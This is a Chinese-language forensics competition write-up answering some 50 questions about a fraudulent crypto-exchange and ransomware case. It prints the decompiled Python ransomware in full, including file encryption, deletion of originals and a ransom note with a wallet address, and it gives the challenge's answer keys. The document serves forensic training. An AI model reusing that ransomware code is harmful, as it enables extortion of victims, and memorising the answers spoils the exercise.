可以做引流網(wǎng)站的源碼全球搜怎么樣
案件情況
某地警方接到受害人報案稱其在某虛擬幣交易網(wǎng)站遭遇詐騙,該網(wǎng)站號稱使用“USTD 幣”購買所謂的“HT 幣”,受害人充 值后不但“HT 幣”無法提現(xiàn)、交易,而且手機還被惡意軟件鎖定 勒索。警方根據(jù)受害人提供的虛擬幣交易網(wǎng)站調(diào)取了對應(yīng)的服 務(wù)器鏡像并對案件展開偵查。
檢材1
??? 1、檢材1的SHA256值為:
火眼打開之后計算出希哈值:9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34
??? 2、 分析檢材1,搭建該服務(wù)器的技術(shù)員IP地址是多少?用該地址解壓檢材2【172.16.80.100】
仿真出來last命令
172.16.80.100
??? 3、 檢材1中,操作系統(tǒng)發(fā)行版本號為
Cntos Linux release 7.5.1804 (Core)
cat /etc/redhat-release
??? 4、 檢材1系統(tǒng)中,網(wǎng)卡綁定的靜態(tài)IP地址為
172.16.80.133
ifconfig命令查看即可
??? 5、檢材1中,網(wǎng)站jar包所存放的目錄是 (答案為絕對路徑,如“/home/honglian/”)
/web/app?
查看歷史命令,發(fā)現(xiàn)多次進入/web/app
目錄,并執(zhí)行npm等指令,進入后發(fā)現(xiàn)有多個jar包,確定為網(wǎng)站jar包所存放目錄?
?
??? 6、檢材1中,監(jiān)聽7000端口的進程對應(yīng)文件名為
cloud.jar
導(dǎo)出所有jar包放入Java反編譯工具(此時遇到打不開的情況,可以重新去檢驗鏡像哈希,應(yīng)該是鏡像損壞,導(dǎo)致導(dǎo)出的jar包損壞)
??? 7、檢材1中,網(wǎng)站管理后臺頁面對應(yīng)的網(wǎng)絡(luò)端口為【9090】
在檢材二的charm瀏覽器的歷史記錄中
?
??? 8、 檢材1中,網(wǎng)站前臺頁面里給出的APK的下載地址是
網(wǎng)站啟動起來
3000端口出現(xiàn)app下載,掃描二維碼
可以知道網(wǎng)址是https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
??? 9. 檢材1中,網(wǎng)站管理后臺頁面調(diào)用的用戶表(admin)里的密碼字段加密方式為?
導(dǎo)出admin所在jar包,搜索password:可以發(fā)現(xiàn)密碼和驗證碼的加密方式都為MD5
?
10. 分析檢材1,網(wǎng)站管理后臺登錄密碼加密算法中所使用的鹽值是
XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs
定位md5Key
?
最后發(fā)現(xiàn)MD5.key即為加密算法的鹽值?
?
?
檢材2
11. 檢材2中,windows賬戶Web King的登錄密碼是
135790
通過分析軟件,可以看到密碼
12. 檢材2中,除檢材1以外,還遠程連接過哪個IP地址?并用該地址解壓檢材3
172.16.80.128
?
查看xshell的連接記錄,可以發(fā)現(xiàn)
已知檢材1的IP是:172.16.80.133
所以在分析結(jié)果中排除172.16.80.133,另一個IP即是答案
13. 檢材2中,powershell中輸入的最后一條命令是
ipconfig
?
powershell命令的默認存儲目錄\Users\[user]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt,在該路徑下也可以找到
14. 檢材2中,下載的涉案網(wǎng)站源代碼文件名為
ZTuoExchange_framework-master.zip
?
谷歌瀏覽器里有相應(yīng)的zip下載記錄,導(dǎo)出文件
15. 檢材2中,網(wǎng)站管理后臺root賬號的密碼為
root
在谷歌瀏覽器保存了賬號和密碼
?
16. 檢材2中,技術(shù)員使用的WSL子系統(tǒng)發(fā)行版本是(答案格式如下:windows 10.1)
Ubuntu 20.04
?
仿真過后通過命令wsl -l
可以獲取到
或者通過分析程序發(fā)現(xiàn),命令都是在20.04
中輸入的
17. 檢材2中,運行的數(shù)據(jù)庫服務(wù)版本號是(答案格式如下:10.1)
?8.0.30
通過分析程序查看,可以看到版本號
18. 上述數(shù)據(jù)庫debian-sys-maint用戶的初始密碼是
mysql的debian-sys-maint
的初始密碼保存在mysql目錄的配置文件debian.cnf
中
數(shù)據(jù)庫是在wsl子系統(tǒng)中運行的,因此需要定位到子系統(tǒng)目錄C:\Users\Web King\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc\LocalState\rootfs
19. 檢材3服務(wù)器root賬號的密碼是
h123456
?
系統(tǒng)SSH歷史輸入命令中,發(fā)現(xiàn)曾使用sshpass對172.16.80.128進行連接,連接密碼為h123456
?
檢材三
根據(jù)網(wǎng)站前端和技術(shù)員個人電腦上的線索,發(fā)現(xiàn)了網(wǎng)站后端所在的服務(wù)器IP并再次調(diào)證取得“檢材3”,分析所有掌握的檢材回答下列問題
通過第12題答案,解壓檢材3
20. 檢材3中,監(jiān)聽33050端口的程序名(program name)為
docker-proxy
在歷史命令中發(fā)現(xiàn)嫌疑人進入了/data/mysql 之后使用了docker-compose up
進入目錄后,查看docker-compose.yml配置文件,發(fā)現(xiàn)使用了33050,嘗試啟動后發(fā)現(xiàn)program name
?
netstat -tunlp
?
21. 除MySQL外,該網(wǎng)站還依賴以下哪種數(shù)據(jù)庫
在對admin-api.jar的逆向分析中,發(fā)現(xiàn)使用了redis以及mongodb
?
22. 檢材3中,MySQL數(shù)據(jù)庫root賬號的密碼是
admin-api.jar中也可分析出密碼
?
23. 檢材3中,MySQL數(shù)據(jù)庫在容器內(nèi)部的數(shù)據(jù)目錄為
?
通過進入容器內(nèi)部找到相關(guān)信息
docker exec -it 8eda4cb0b452 bash
24. 涉案網(wǎng)站調(diào)用的MySQL數(shù)據(jù)庫名為、
b1
25. 勒索者在數(shù)據(jù)庫中修改了多少個用戶的手機號?
在 docker 中的 /var/lib/mysql 目錄下,根據(jù) docker-compose 的配置映射到宿主機上就在 /data/mysql/db 目錄下,8eda4cb0b452.log可以導(dǎo)出來查看,比較方便,問修改的數(shù)量,過濾 update 關(guān)鍵字,在日志中有 8 處匹配,但實際上有關(guān) mobile_phone 的日志只有 3 條
2022-10-18T08:48:06.120268Z 8 Query update admin set last_login_time='2022-10-18 04:48:06.114', last_login_ip=null where id=1
2022-10-18T08:48:21.016425Z 8 Query update admin set last_login_time='2022-10-18 04:48:21.023', last_login_ip='172.16.80.100' where id=1
2022-10-18T09:38:56.117223Z 9 Query update admin set last_login_time='2022-10-18 05:38:56.113', last_login_ip='172.16.80.197' where id=1
2022-10-19T03:20:39.001499Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13638991111' WHERE `id` = 9
2022-10-19T03:20:41.851525Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13282992222' WHERE `id` = 10
2022-10-19T03:20:44.184953Z 13 Query UPDATE `b1`.`member` SET `mobile_phone` = '13636993333' WHERE `id` = 11
2022-10-19T05:34:00.075764Z 10 Query select count(a.id) from member a , member_application b where a.id = b.member_id and b.audit_status = 2 and date_format(b.update_time,'%Y-%m-%d') = '2022-10-18'
2022-10-20T03:18:25.478485Z 10 Query update admin set last_login_time='2022-10-19 23:18:25.461', last_login_ip='172.16.80.100' where id=1
26. 勒索者在數(shù)據(jù)庫中刪除的用戶數(shù)量為
28
在log文件中可以搜索到有批量刪除的記錄,delete from b1 member··
,記數(shù)一下有28個
?
27. 還原被破壞的數(shù)據(jù)庫,分析除技術(shù)員以外,還有哪個IP地址登錄過管理后臺網(wǎng)站?用該地址解壓 檢材4
172.16.80.197
用數(shù)據(jù)庫分析工具來分析一下,172.16.80.197
登錄了管理后臺的網(wǎng)址
?
28. 還原全部被刪改數(shù)據(jù),用戶id為500的注冊會員的HT幣錢包地址為
cee631121c2ec9232f3a2f028ad5c89b?
在member_wallet表
中,找到ID=500的用戶,得到
?
29. 還原全部被刪改數(shù)據(jù),共有多少名用戶的會員等級為’LV3’
將member數(shù)據(jù)庫導(dǎo)出成csv結(jié)構(gòu),篩選出member_grade_id=3,有158條。但我們還要還原數(shù)據(jù),實際上 member 表中還有 28 條被刪除的用戶記錄,28 個用戶中有6個 LV3,共164個
“SELECT count(member_grade_id) FROM member WHERE member_grade_id=3”
?
30. 還原全部被刪改數(shù)據(jù),哪些用戶ID沒有充值記錄
318,989
SELECT id from member where id not in (select member_id from member_transaction)
?
?
31. 還原全部被刪改數(shù)據(jù),2022年10月17日總計產(chǎn)生多少筆交易記錄?
1000
select count(*) from member_transaction where create_time BETWEEN "2022-10-17 00:00:00" and "2022-10-17 23:59:59"
?
?
32. 還原全部被刪改數(shù)據(jù),該網(wǎng)站中充值的USDT總額為
408228?
select sum(amount) from member_transaction
?
?
檢材四
根據(jù)前期偵查分析,通過技術(shù)手段找到了幕后老板,并對其使用的安卓模擬器“檢材4”進行了固定。分析所有掌握的檢材,回答下列問題
修改文件為zip,然后打開發(fā)現(xiàn)vmdk文件,導(dǎo)入火眼中分析
33. 嫌疑人使用的安卓模擬器軟件名稱是
夜神模擬器
?
34. 檢材4中,“老板”的阿里云賬號是
forensixtech1
?
35.檢材4中安裝的VPN工具的軟件名稱是
v2Ray
配置信息里面就有
?
?
36. 上述VPN工具中記錄的節(jié)點IP是
38.68.135.18
?
?
37. 檢材4中,錄屏軟件安裝時間為
2022-10-19 10:50:27
通過apk的位置找到軟件的包名
回到火眼
?
38. 上述錄屏軟件中名為“s_20221019105129”的錄像,在模擬器存儲中對應(yīng)的原始文件名為
0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191b11710117a12d
?在目錄/storage/emulated/0/Android/data/com.jiadi.luping/files 下找到錄屏文件
?
39. 上述錄屏軟件登錄的手機號是
18645091802
通過導(dǎo)出record.db還有record.db-wal文件,導(dǎo)入DB Brower中分析得到
?
40. 檢材4中,發(fā)送勒索郵件的郵箱地址為
skterran@163.com?
火眼直接分析得到
?
EXE分析
分析所有掌握的檢材,找到勒索郵件中被加密的文檔和對應(yīng)的加/解密程序,并回答下列問題
41.分析加密程序,編譯該加密程序使用的語言是
python
?
42. 分析加密程序,它會加密哪些擴展名的文件?
txt.jpg.docx.xls
參考文章:pyinstaller打包成exe的反向解析工具(pyinstxtractor.py和uncompyle6) - 簡書
?
python pyinstxtractor.py encrypt_file.exe
?在解析生成的encrypt_file.exe_extracted
目錄中的PYZ-00.pyz_extracted
目錄
找一個.pyc
文件復(fù)制前12字節(jié)16進制到encrypt_file_1
前面
?用uncompyle6進行反編譯
uncompyle6 .\encrypt_file_1.pyc >123.py
反編譯成功
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019, 20:34:20) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: encrypt_file_1.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\n(有風(fēng)險提示所以刪除只留下后5位)u+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"class XORCBC:def __init__(self, key: bytes):self.key = bytearray(key)self.cur = 0def encrypt(self, data: bytes) -> bytes:data = bytearray(data)for i in range(len(data)):tmp = data[i]data[i] ^= self.key[self.cur]self.key[self.cur] = tmpself.cur = (self.cur + 1) % len(self.key)return bytes(data)print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')def run_finall():for filepath, dirnames, filenames in os.walk(os.getcwd()):for filename in filenames:if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:ExtensionPath = os.path.splitext(filename)[(-1)]if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:time.sleep(3)data_file = os.path.join(filepath, filename)rsakey = RSA.import_key(pubkey)cipher = Cipher_pkcs1_v1_5.new(rsakey)xor_key = os.urandom(16)xor_obj = XORCBC(xor_key)outf = open(data_file + '_encrypted', 'wb')encrypted_xor_key = cipher.encrypt(xor_key)outf.write(encrypted_xor_key)buffer_size = 4096with open(data_file, 'rb') as (f):while True:data = f.read(buffer_size)if not data:breakoutf.write(xor_obj.encrypt(data))outf.close()os.remove(data_file)run_finall()def redme():try:dir = os.path.join(os.path.expanduser('~'), 'Desktop')print(dir)with open(dir + '/!READ_ME.txt', 'w') as (ff):ff.write(msg)except:dir1 = os.getcwd()print(dir1)with open(dir1 + '/!READ_ME.txt', 'w') as (ff):ff.write(msg)print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')
# okay decompiling .\encrypt_file_1.pyc
“if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:”-----------------是對txt.jpg.docx.xls的文件進行加密?
43. 分析加密程序,是通過什么算法對文件進行加密的?
data_file = os.path.join(filepath, filename)rsakey = RSA.import_key(pubkey)cipher = Cipher_pkcs1_v1_5.new(rsakey)xor_key = os.urandom(16)xor_obj = XORCBC(xor_key)outf = open(data_file + '_encrypted', 'wb')encrypted_xor_key = cipher.encrypt(xor_key)outf.write(encrypted_xor_key)buffer_size = 4096with open(data_file, 'rb') as (f):while True:data = f.read(buffer_size)if not data:breakoutf.write(xor_obj.encrypt(data))outf.close()os.remove(data_file)
首先把公鑰
導(dǎo)入,生成一個rsakey
,然后把rsakey
通過cipher
加密生成了一個cipher字符串
隨后通過cipher
加密了xor_key
,xor_key
是一個隨機的16位字符串(os.urandom(16)),因此是outf.write(encrypted_xor_key)
加密了文件
異或加密
class XORCBC:def __init__(self, key: bytes):self.key = bytearray(key)self.cur = 0def encrypt(self, data: bytes) -> bytes:data = bytearray(data)for i in range(len(data)):tmp = data[i]data[i] ^= self.key[self.cur]self.key[self.cur] = tmpself.cur = (self.cur + 1) % len(self.key)return bytes(data)
44. 分析加密程序,其使用的非對稱加密方式公鑰后5位為?
根據(jù)解密后的內(nèi)容得到公鑰
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
可以得到u+w==
45. 被加密文檔中,FLAG1的值是
TREFWGFS
通過相同的方法,對decrypt_file.exe進行逆向
隨后得到的密碼為:4008003721
使用該密碼解密
apk分析
46. 惡意APK程序的包名為
cn.forensix.changancup
通過第8
題得到的鏈接下載apk并分析,jadx
打開看到包名
47. APK調(diào)用的權(quán)限包括
READ_EXTERNAL_STORAGE|WRITE_EXTERNAL_STORAGE
繼續(xù)查看AndroidManifest.xml
,得到權(quán)限
48. 解鎖第一關(guān)所使用的FLAG2值為(FLAG為8位字符串,如需在apk中輸入FLAG,請輸入完整內(nèi)容,如輸入"FLAG9:QWERT123")
MATSFRKG
?
利用雷電進行一鍵脫殼
脫殼后反編譯jadx
直接搜索FLAG2
,可以看到結(jié)果
49. 解鎖第二關(guān)所使用的FLAG3值為(FLAG為8位字符串,如需在apk中輸入FLAG,請輸入完整內(nèi)容,如輸入"FLAG9:QWERT123")
找到了mainactivity
,分析flag2周圍的函數(shù)
找到加密的地方
} else if (App.OooO0O0.OooO0oo.equals(this.OooO0o0.getText().toString()) && App.OooO0OO.edit().putInt("unlocked", App.OooO0OO.getInt("unlocked", 0) | 2).commit()) {StringBuilder OooO0OO2 = C0261o0000Oo.OooO0OO(App.OooO0OO.getString("flag16_tkey", ""));OooO0OO2.append(App.OooO0O0.OooO0oo);if (App.OooO0OO.edit().putString("flag16_tkey", OooO0OO2.toString()).commit()) {App.OooO0Oo();System.out.println("delay lock screen close");OooO00o();}
this.OooO0oo = new String(decrypt(OooO0O0.OooO0O0("ffd4d7459ad24cd035611b014a2cccac")));
分析可得進行了兩次加密
decrypt函數(shù):
public native byte[] decrypt(byte[] bArr);public native byte[] encrypt(byte[] bArr);public native void init(byte[] bArr);
init
函數(shù)調(diào)用了libcipher.so
對密文進行了解密,與輸入的值進行比較,最終判斷是否正確?
package com.example.hanshu;
import android.app.Application;
import android.util.Log;public class App extends Application {static {System.loadLibrary("cipher");}public native byte[] decrypt(byte[] bArr);public native byte[] encrypt(byte[] bArr);public native void init(byte[] bArr);public static void main(){String out = new String(new App().decrypt(OooO0O0("ffd4d7459ad24cd035611b014a2cccac")));System.out.println("ocipher:"+out);}public static byte[] OooO0O0(String str){int length = str.length() / 2;byte[] bArr = new byte[length];for (int i =0; i < length; i++){int i2 = i +2;bArr[i] = (byte) Integer.parseInt(str.substring(i2, i2+2), 16);}return bArr;}}
?最后連接模擬器,將此apk推送到模擬器中,查看日志,即可找到FLAG3
FLAG3:TDQ2UWP9
50. 解鎖第三關(guān)所需的KEY值由ASCII可顯示字符組成,請請分析獲取該KEY值
限制輸入24個字符串,然后分成四位一組分成六組數(shù),
密碼由全部可顯示的ASCII
碼組成,在標準的ASCII
表中,可打印的字符的編碼范圍是33-126
,在代碼中是對分為6組的數(shù)組依次判斷,也就是說我們可以通過每4位
爆破的方式,組成全部的密碼
public class Test{static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};public static long[] OooO(long j, long j2) {if (j == 0) {return new long[]{0, 1};}long[] OooO = OooO(j2 % j, j);return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};}public static void main(String[] args) {String res = "";for (int i = 0; i < 6; i++) {//4層循環(huán)遍歷4位字符串for (int a1 = 33; a1 < 127; a1++) {for (int a2 = 33; a2 < 127; a2++) {for (int a3 = 33; a3 < 127; a3++) {for (int a4 = 33; a4 < 127; a4++) {long tmp = (long) (a1 << 16);tmp = tmp | ((long) (a2 << '\b'));tmp = tmp | ((long) (a3 << 24));tmp = ((long) a4) | tmp;if (((OooO(tmp, 0x100000000L)[0] % 0x100000000L) + 0x100000000L) % 0x100000000L == ((long) OooO0oO[i])) {res += (char)a1;res += (char)a2;res += (char)a3;res += (char)a4;//獲取到當前密碼后,跳出4層循環(huán)a1 = a2 = a3 = a4 = 128;}}}}}}System.out.println(res);}
}
運行結(jié)果
a_asd./1imc2)dd1234]_+=+